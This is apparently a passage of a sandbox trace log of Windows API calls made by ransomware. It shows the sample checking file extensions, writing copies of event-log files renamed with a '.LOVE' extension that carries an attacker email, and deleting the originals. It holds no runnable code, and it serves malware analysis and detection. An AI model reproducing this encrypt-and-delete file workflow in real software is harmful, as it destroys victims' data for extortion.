[0205.761] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString=".rar") returned 4 [0205.761] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString=".bz2") returned 4 [0205.761] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString=".7z") returned 3 [0205.761] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.761] lstrlenW (lpString=".dbf") returned 4 [0205.761] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.761] lstrlenW (lpString=".1cd") returned 4 [0205.761] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.761] lstrlenW (lpString=".jpg") returned 4 [0205.761] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.762] lstrlenW (lpString=".doc") returned 4 [0205.762] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString=".docx") returned 5 [0205.762] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.762] lstrlenW (lpString=".pdf") returned 4 [0205.762] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString=".xls") returned 4 [0205.762] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString=".xlsx") returned 5 [0205.762] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.762] lstrlenW (lpString=".ppt") returned 4 [0205.762] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.762] lstrlenW (lpString=".zip") returned 4 [0205.762] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString=".rar") returned 4 [0205.762] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString=".bz2") returned 4 [0205.762] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString=".7z") returned 3 [0205.762] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.762] lstrlenW (lpString=".dbf") returned 4 [0205.762] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.762] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.763] lstrlenW (lpString=".1cd") returned 4 [0205.763] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.763] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.763] lstrlenW (lpString=".jpg") returned 4 [0205.763] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.763] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.763] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0205.763] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.763] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0205.763] CloseHandle (hObject=0x320) returned 1 [0205.764] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0205.764] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.764] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.764] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0205.764] GetLastError () returned 0x0 [0205.764] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.785] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.786] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.786] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.786] SetEndOfFile (hFile=0x358) returned 1 [0205.787] CloseHandle (hObject=0x358) returned 1 [0205.788] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.789] SetEndOfFile (hFile=0x320) returned 1 [0205.790] CloseHandle (hObject=0x320) returned 1 [0205.790] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.791] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0205.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.791] lstrlenW (lpString=".doc") returned 4 [0205.791] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.791] lstrlenW (lpString=".docx") returned 5 [0205.791] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.791] lstrlenW (lpString=".pdf") returned 4 [0205.791] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.791] lstrlenW (lpString=".xls") returned 4 [0205.791] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.791] lstrlenW (lpString=".xlsx") returned 5 [0205.791] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.791] lstrlenW (lpString=".ppt") returned 4 [0205.791] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.791] lstrlenW (lpString=".zip") returned 4 [0205.791] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.791] lstrlenW (lpString=".rar") returned 4 [0205.791] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString=".bz2") returned 4 [0205.792] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString=".7z") returned 3 [0205.792] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.792] lstrlenW (lpString=".dbf") returned 4 [0205.792] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.792] lstrlenW (lpString=".1cd") returned 4 [0205.792] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.792] lstrlenW (lpString=".jpg") returned 4 [0205.792] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.792] lstrlenW (lpString=".doc") returned 4 [0205.792] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString=".docx") returned 5 [0205.792] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.792] lstrlenW (lpString=".pdf") returned 4 [0205.792] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString=".xls") returned 4 [0205.792] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString=".xlsx") returned 5 [0205.792] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.792] lstrlenW (lpString=".ppt") returned 4 [0205.792] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.793] lstrlenW (lpString=".zip") returned 4 [0205.793] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.793] lstrlenW (lpString=".rar") returned 4 [0205.793] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.793] lstrlenW (lpString=".bz2") returned 4 [0205.793] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.793] lstrlenW (lpString=".7z") returned 3 [0205.793] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.793] lstrlenW (lpString=".dbf") returned 4 [0205.793] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.793] lstrlenW (lpString=".1cd") returned 4 [0205.793] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0205.793] lstrlenW (lpString=".jpg") returned 4 [0205.793] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.793] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.793] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0205.793] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.794] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0205.794] CloseHandle (hObject=0x320) returned 1 [0206.305] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0206.305] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.305] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.305] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.305] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.305] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0206.306] GetLastError () returned 0x0 [0206.306] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.374] WriteFile (in: hFile=0x37c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.376] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.376] WriteFile (in: hFile=0x37c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x13a, lpOverlapped=0x0) returned 1 [0206.376] SetEndOfFile (hFile=0x37c) returned 1 [0206.376] CloseHandle (hObject=0x37c) returned 1 [0206.378] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.378] SetEndOfFile (hFile=0x348) returned 1 [0206.379] CloseHandle (hObject=0x348) returned 1 [0206.379] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.379] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0206.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.380] lstrlenW (lpString=".doc") returned 4 [0206.380] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.380] lstrlenW (lpString=".docx") returned 5 [0206.380] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.380] lstrlenW (lpString=".pdf") returned 4 [0206.380] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.380] lstrlenW (lpString=".xls") returned 4 [0206.380] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.380] lstrlenW (lpString=".xlsx") returned 5 [0206.380] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.380] lstrlenW (lpString=".ppt") returned 4 [0206.380] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.380] lstrlenW (lpString=".zip") returned 4 [0206.380] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.380] lstrlenW (lpString=".rar") returned 4 [0206.381] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString=".bz2") returned 4 [0206.381] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString=".7z") returned 3 [0206.381] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.381] lstrlenW (lpString=".dbf") returned 4 [0206.381] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.381] lstrlenW (lpString=".1cd") returned 4 [0206.381] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.381] lstrlenW (lpString=".jpg") returned 4 [0206.381] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.381] lstrlenW (lpString=".doc") returned 4 [0206.381] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString=".docx") returned 5 [0206.381] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.381] lstrlenW (lpString=".pdf") returned 4 [0206.381] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.381] lstrlenW (lpString=".xls") returned 4 [0206.382] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString=".xlsx") returned 5 [0206.382] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.382] lstrlenW (lpString=".ppt") returned 4 [0206.382] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.382] lstrlenW (lpString=".zip") returned 4 [0206.382] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString=".rar") returned 4 [0206.382] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString=".bz2") returned 4 [0206.382] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString=".7z") returned 3 [0206.382] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.382] lstrlenW (lpString=".dbf") returned 4 [0206.382] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.382] lstrlenW (lpString=".1cd") returned 4 [0206.382] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.382] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0206.382] lstrlenW (lpString=".jpg") returned 4 [0206.382] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.382] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.382] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0206.383] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.383] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0206.383] CloseHandle (hObject=0x348) returned 1 [0206.383] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0206.383] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.383] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0206.383] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.383] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.383] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0206.384] GetLastError () returned 0x0 [0206.384] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.459] WriteFile (in: hFile=0x37c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.461] ReadFile (in: hFile=0x348, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.461] WriteFile (in: hFile=0x37c, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x138, lpOverlapped=0x0) returned 1 [0206.461] SetEndOfFile (hFile=0x37c) returned 1 [0206.461] CloseHandle (hObject=0x37c) returned 1 [0206.463] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.463] SetEndOfFile (hFile=0x348) returned 1 [0206.464] CloseHandle (hObject=0x348) returned 1 [0206.464] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.465] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0206.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.465] lstrlenW (lpString=".doc") returned 4 [0206.465] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString=".docx") returned 5 [0206.465] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.465] lstrlenW (lpString=".pdf") returned 4 [0206.465] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString=".xls") returned 4 [0206.465] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString=".xlsx") returned 5 [0206.465] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.465] lstrlenW (lpString=".ppt") returned 4 [0206.465] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.465] lstrlenW (lpString=".zip") returned 4 [0206.465] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString=".rar") returned 4 [0206.465] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString=".bz2") returned 4 [0206.465] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.465] lstrlenW (lpString=".7z") returned 3 [0206.465] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.465] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString=".dbf") returned 4 [0206.466] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString=".1cd") returned 4 [0206.466] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString=".jpg") returned 4 [0206.466] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0206.466] lstrlenW (lpString=".doc") returned 4 [0206.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.466] lstrlenW (lpString=".docx") returned 5 [0206.466] 